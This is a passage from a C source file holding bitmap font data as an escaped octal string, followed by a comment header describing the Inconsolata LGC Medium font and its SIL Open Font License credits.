\"\\70\\70<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60p\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\200\\201\\303\\207\\207\\206\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\360\\370x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\206\\207\\307\\203\\201\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\"\n  \"\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\"\n  \"\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360|\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\206\\217\\207\\203\\200\\300\\200\\201\\207\\217\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360x\\70\\70\\70x\"\n  \"\\360\\340\\300\\200\\200\\300\\340\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\1\\200\\200\\200\\200\\200\\300\\200\\201\\203\\203\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\"\n  \"\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\"\n  \"\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\201\\201\\201\\200\\200\\300\\200\\200\\200\\201\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\34\\14\"\n  \"\\14\\34\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\201\\203\\207\\207\\306\\206\\203\\203\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\"\n  \"\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\"\n  \"\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\"\n  \"\\300\\300\\300\\300\\300\\200\\200\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\1\\203\\201\\201\\301\\301\\301\\303\\377\\377\\376\"\n  \"\\377\\307\\303\\301\\301\\301\\301\\303\\377\\377\\374\\0\\376\\377\\377\\7\\3\\3\\1\\1\\1\\377\\377\\377\\377\\201\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\7\\17\\17\\37\\36\\34\\34\\36\\17\\17\\7\\3\\7\\17\\17\\36\\34\\34\\34\\36\\16\\17\\6\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\374\\376\\37\\7\\3\\3\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\7\\0\\0\\0\\0\\37\\177\\377\"\n  \"\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\16\\36\\34\\374\"\n  \"\\374\\374\\234\\236\\16\\17\\17\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\30\\70\\70\\61\\61\\61;\\37\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60p\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\200\\200\\201\\303\\207\\207\\206\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\217\\207\\203\\203\\203\\203\"\n  \"\\203\\203\\203\\207\\217\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\\70\\70\\70<\\34\\36\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\360\\370\\370\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\206\\207\\317\\203\\201\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\217\\207\\203\\203\\203\\203\\203\\203\\203\\207\\217\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370|\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\6\\217\\207\\201\\200\\300\\200\\203\\207\\217\\6\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\217\\207\\203\\203\\203\\203\"\n  \"\\203\\203\\203\\207\\217\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\\70\\70\\70<\\34\\36\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\"\n  \"\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\201\\200\\200\\200\\300\\200\\200\\201\\201\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\207\\207\\203\\203\\203\\203\\203\\203\\203\\207\\237\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70<<\\36\\36\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60p\\370\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\200\\200\\200\\203\\207\\207\\207\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\340\\370\\370p\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\207\\207\\207\\203\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\"\n  \"\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370x\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\204\\216\\217\\203\\201\\200\\200\\201\\203\\7\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\"\n  \"\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\201\\201\\201\\200\\200\\200\\200\\200\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\"\n  \"\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60p\\360\\340\\340\\300\\200\\200\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\6\\16\\216\\206\\207\\207\\203\\203\\207\\237\\77\\375\\371\\360\\300\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\7\\16\\177\\377\\377\\376\\340\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\37\\0\\0\\0\\0\\3\\7\\17\\17\\36\\34<\\70\\70\\70\\70<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360p\\70\\70\\70x\\360\"\n  \"\\340\\300\\200\\200\\200\\340\\360`\\0\\0\\0\\0\\0\\0\\200\\200\\201\\201\\0\\0\\0\\0\\200\\200\\201\\303\\203\\203\\203\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\16\\7\\7\\3\\3\\3\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\200\\200\\201\\203\\217\\207\\202\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\17\\37~\\376\\370\\360\\200\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\37\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\370\\370p\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\207\\207\\207\\203\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\\3\\3\\7\\17\\37~\\376\\370\\360\\200\\0\\0\\77\\377\\377\\377\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\37\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\"\n  \"\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370||\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\6\\17\\207\\203\\200\\200\\200\\200\\203\\207\\217\\6\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\17\\37~\\376\\370\\360\\200\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\37\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360x\\70\\70\\70x\\360\"\n  \"\\340\\300\\200\\200\\300\\340\\360@\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\200\\200\\200\\200\\200\\201\\203\\203\\203\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\\3\\3\\7\\17\\37~\\376\\370\\360\\200\\0\\0\\77\\377\\377\\377\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\37\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\"\n  \"\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\201\\200\\200\\200\\200\\200\\200\\201\\201\\1\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374~\\37\\7\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\7\\37~\\376\\370\\360\\200\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\37\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\370p\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0pppppppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0p\\370\\370\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\300@\\0\\0\\0\\0\\0\\340\\360\\370|\\36\\16\\17\\7\\7\\7\\207\"\n  \"\\347\\377\\177\\37\\37\\177\\371\\360\\340\\0\\0\\0\\177\\377\\377\\377\\200\\0\\200\\300\\360\\374>\\17\\7\\1\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\77\\0\\0\\0\\1\\307\\377\\377~\\77\\77{ppppx\\70<>\\37\\17\\7\\1\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20p\\370\\370\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\7\\7\\7\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\"\n  \"\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\1\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360|\"\n  \"\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\6\\17\\7\\3\\0\\0\\0\\1\\7\\17\\7\\204\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\"\n  \"\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\201\\200\\200\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\360\\370x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\6\\7\\7\\3\\1\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\1\\7\\77\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\37\\177\\376\\370\\300\\0\\0\\340\\370\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\377\\377\"\n  \"\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\70<xpppx\\70<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\6\\7\\3\\3\\3\"\n  \"\\3\\3\\3\\7\\7\\37\\177\\376\\374\\360\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\"\n  \"\\377\\377\\37\\0\\0\\0\\377\\377\\377\\377\\7\\16\\34\\34\\70\\70\\70\\70<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\177\\177\"\n  \"\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\"\n  \"\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\1\\17\\77\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\37\\377\\376\\360\\300\\0\\200\\340\\374\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\237\\377\\376\"\n  \"\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70<xpppx<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 